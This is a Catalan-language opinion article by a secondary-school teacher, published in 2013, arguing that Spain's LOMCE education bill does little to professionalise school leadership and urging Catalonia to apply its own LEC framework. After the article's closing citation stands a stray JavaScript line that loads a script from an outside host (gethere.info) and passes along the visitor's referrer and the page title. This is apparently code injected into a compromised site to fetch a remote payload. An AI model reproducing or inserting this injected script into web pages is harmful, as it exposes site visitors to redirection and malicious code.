Joan Estruch
Catedràtic de Secundària
El projecte de LOMCE (Llei Orgànica de Millora de la Qualitat Educativa) es proposa recentralitzar el currículum a través d’un seguit de proves d’avaluació que controlarien, des del Ministeri, el treball quotidià de totes les aules de l’Estat. Es tracta d’una aposta tan agosarada com limitada, ja que focalitza la millora del sistema educatiu en les avaluacions externes. En canvi, altres factors que tenen molta més incidència en la qualitat educativa, com ara la direcció de centres, hi tenen un paper molt reduït.
Una mica d’història
A l’Estat espanyol la direcció de centres continua sent una persistent seqüela dels anys de la transició democràtica, quan unes radicalitzades promocions de joves professors van voler transformar el sistema polític i la societat sencera. Però mentre els sectors clau (empresa, banca, exèrcit, judicatura…) van passar del franquisme a la democràcia sense greus problemes, a l’ensenyament és on es va produir amb més intensitat la ruptura amb el franquisme. La democratització del sistema educatiu, unida a la renovació pedagògica, van tenir uns efectes globalment positius, malgrat els excessos. El problema es va produir quan aquest sotrac, necessari en un cert moment, es va perllongar molt més enllà, de manera que el món educatiu es va convertir en una reserva de valors que cada vegada quedava més deslligada de l’evolució de la societat.
D’entre aquests valors, l’antiautoritarisme n’era el principal. Els cossos d’inspectors i de catedràtics, sospitosos de franquisme, van ser suprimits. I els cossos de mestres i professors es van salvar in extremis, gràcies a les “oposicions restringides”, que van convertir en funcionaris els professors interins (PNN). Tot això anava acompanyat d’una pedagogia tova, que propugnava que els alumnes no havien d’estar reprimits pels professors ni estressats per les notes.
La direcció de centres no va desaparèixer, com al Portugal de la Revolució dels clavells (1974), però va quedar desproveïda de tota autoritat efectiva. El cos de directors de Primària només havia durat tres anys (1967-1970) i va ser suprimit a causa de les pressions corporatives de mestres i professors. Però es va convertir en emblema de tot allò més rebutjable: franquisme, autoritarisme, funcionariat, burocràcia. El trauma va quedar tan profundament gravat en la memòria del col·lectiu docent, que, encara avui, en qualsevol debat sobre direcció és típic que reaparegui el fantasma del franquista cos de directors.
Els claustres assemblearis eren el poder de facto a l’escola pública. El claustre elegia un director-company, que “feia” de director un temps, no gaire, no fos que arribés a creure’s que “era” director. La LODE (1985) va institucionalitzar aquesta situació, creant el consell escolar, una tímida plasmació de la filosofia autogestionària, on tots els sectors de la “comunitat educativa” governaven els centres. En tot el món, només Portugal compartia aquest model, en què el personal de neteja, d’administració o consergeria, així com l’alumnat menor d’edat, tenien vot i veu per decidir el pressupost, les mesures disciplinàries, els projectes pedagògics, l’elecció del director, etc. Ben aviat es va comprovar, però, que el consell escolar era una pantalla participativa que no suplantava el poder fàctic del professorat a l’escola pública, ni el del titular-propietari a l’escola concertada.
Una qüestió de poder
Mica en mica, les coses es van anar redreçant. Els cossos d’inspectors i de catedràtics van ser reconstruïts. La cultura de l’esforç i la disciplina van anar perdent la seva aureola autoritària. I un allau de conceptes manllevats del món econòmic (resultats, avaluacions, rankings, retiment de comptes…) ha anat envaint el món educatiu. Aquests canvis també han afectat el marc teòric de la direcció. Ja no es posa en dubte allò que demostren tots els estudis internacionals: que la direcció és un important factor de qualitat educativa. Ja no causa escàndol la professionalització de la direcció, encara que s’empri aquest concepte amb moltes ambigüitats. Però, malgrat totes aquestes aportacions teòriques, els avanços en la professionalització de la direcció estan sent molt lents. Per què? Doncs perquè hi ha fortes resistències en contra. I és que la qüestió de la direcció de centres és, entre d’altres coses, una qüestió de poder. I, com que “el poder no es crea ni es destrueix, només es redistribueix”, tan sols es pot donar més poder al director si es treu del que té el claustre. No cal dir que aquest augment de poder hauria de ser directament proporcional a un augment de responsabilitat del director, degudament avaluada. No es tracta de manar més, sinó de liderar la millora de la qualitat educativa.
El professorat funcionari n’és ben conscient de tot això. Sap que no li convé perdre el control del seu cap més immediat. El director és qui, molt més que la llunyana Administració, encarnada de tant en tant en l’inspector, pot prendre decisions que afecten directament les seves condicions de treball. Encara que el marc legal és igual a tots els centres, hi ha situacions molt diverses. A Secundària, un professor pot tenir el doble d’alumnes que un altre col·lega seu. I també pot ser que, a més, els seus alumnes siguin molt més problemàtics. El repartiment de grups d’alumnes, els horaris, el nomenament de càrrecs intermedis, el suport a projectes, la selecció de part del professorat no fix, etc., depenen del micropoder intern, de qui mana dins del centre. A cada claustre hi ha grups de pressió, units per afinitats diverses. Si el grup dominant controla directament o indirecta la direcció, al centre hi regna una aparent estabilitat. Però si hi ha diversos grups que es disputen el poder, la direcció esdevé un inestable marc de conflicte. Tot això té el seu origen en una situació insòlita en el món: a la xarxa pública, l’Administració cedeix la governança efectiva dels seus centres al professorat funcionari que hi treballa. És per això que tots els sindicats del sector són unànimes a l’hora de defensar que el claustre elegeixi de facto el seu cap immediat. Quin col·lectiu laboral renunciaria a un privilegi com aquest?
Totes les Administracions educatives han hagut de plantejar-se aquestes qüestions quan, en plantejar les seves reformes legals, han arribat al tema de la direcció de centres. I per això ara cal preguntar-nos quina és la proposta que l’actual Ministeri vol tirar endavant.
Les novetats de la LOMCE respecte a la direcció
La LOMCE presenta poques i poc importants novetats en relació amb la direcció de centres. Fins i tot es pot considerar menys ambiciosa que la LOCE (2002), efímera llei que va introduir un tipus d’accés al càrrec més professional, a través d’una selecció en què es barrejaven el funcionarial concurs de mèrits amb l’elecció “democràtica”. En realitat, el Ministeri de l’època volia crear un cos de directors, però va haver de renunciar-hi perquè li ho van exigir els sindicats de professors políticament afins. A falta de cos, la LOCE va crear la categoria de director, que no va poder implementar-se.
Doncs bé, la LOMCE, impulsada pel mateix partit que va aprovar la LOCE, no parla de ni de cos ni de categoria de director, i es limita a fer declaracions retòriques sobre la potenciació de la funció directiva.
D’una manera més concreta, atorga autonomia al director per desenvolupar projectes educatius de qualitat, dissenyats amb “planificació estratègica” i avaluats amb “retiment de comptes”. En aquests projectes, el director podrà intervenir en la selecció d’una part del professorat (art. 122.bis). Vista des de Catalunya, aquesta gran aposta de la LOMCE no sembla altra cosa que una versió reduïda dels plans d’autonomia que des de fa anys es desenvolupen a casa nostra.
Pel que fa al capítol dels òrgans de govern, la LOMCE reprodueix la típica llista de funcions del director, del claustre i del consell escolar. En la primera versió del projecte de llei, el consell escolar quedava reduït a òrgan consultiu, però després ha tornat a recuperar el seu paper tradicional. Cal destacar que el consell escolar pot revocar el nomenament del director per majoria de dos terços (art. 127.d), així com “revisar” les mesures disciplinàries adoptades pel director (art. 127.f).
Tampoc no hi ha grans novetats pel que fa a la selecció del director, tema sempre polèmic. La LOMCE estableix com a requisit haver fet un curs de formació. Respecte a la composició de les comissions de selecció, fixa el marge de representants del centre entre el 30% i el 50%. Per tant, l’Administració disposarà d’entre el 50% i el 70% (art. 135). És una proposta semblant a la de la LOCE, i està clarament orientada a crear lligams de dependència de la direcció respecte a l’Administració.
En definitiva, la LOMCE no fa cap avenç significatiu cap a la professionalització de la direcció, evitant així provocar conflictes amb el professorat. És un projecte de llei que aposta fort per controlar el sistema de manera centralitzada a través de proves externes, que obligaran alumnes i professors a treballar allò que exigeixi el Ministeri. Dins d’aquest disseny, la direcció de centres només hi té un paper auxiliar, de corretja de transmissió.
I ara què fem?
Si situem la LOMCE en el marc educatiu català, encara ressalta més l’escassa importància que dóna a la direcció. En els darrers anys a Catalunya s’han produït avenços molt importants, orientats a la professionalització de la direcció. El debat sobre aquesta qüestió està molt madur, tant en el món educatiu com en la societat. La Llei d’Educació de Catalunya (LEC), que gaudeix de l’estabilitat que li dona l’ampli consens polític que va obtenir, va convertir en motors de la qualitat educativa la professionalització de la direcció, el lideratge pedagògic, l’autonomia de centres i la carrera professional del professorat.
El desplegament de la LEC ha començat justament amb els decrets d’autonomia de centres i de direcció. Ja s’ha realitzat una primera selecció de directius professionals que, per primera vegada, ha substituït el procés d’elecció del director dins del seu centre per una selecció externa, basada en els mèrits i les capacitats professionals. Aquesta primera promoció de directius professionals hauria de ser l’avantguarda d’un procés de professionalització que s’anés estenent al conjunt del sistema educatiu català.
Ni la proposta de la LOMCE de burocratitzar la direcció i fer-la depenent de l’Administració, ni la defensa del corporativisme funcionarial sota capa “participativa” ens serveixen per millorar el nostre sistema educatiu. Disposem d’un marc legal propi, consensuat i estable, que permet avançar ràpidament cap a la direcció professional. El que s’ha de fer és ben clar: desenvolupar-lo i aplicar-lo amb coherència, fermesa i celeritat.
(Publicat a Fòrum, revista d’organització i gestió educativa, núm. 31, Maig de 2013)
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;